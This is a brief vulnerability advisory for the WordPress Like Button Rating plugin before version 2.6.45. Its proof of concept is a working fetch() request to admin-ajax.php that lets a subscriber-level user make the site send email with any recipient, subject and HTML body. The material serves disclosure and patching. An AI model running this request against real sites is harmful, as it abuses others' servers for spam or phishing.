Like Button Rating < 2.6.45 - Arbitrary e-mail Sending

Proof of Concept

As a subscriber, run the below command in the web developer console of the browser

fetch("/wp-admin/admin-ajax.php?action=likebtn_test_vote_notification", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "options[likebtn_notify_to]=recipient@example.com&options[likebtn_notify_subject]=hehehe&options[likebtn_notify_text]=Hopsasa</b><h1>",
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));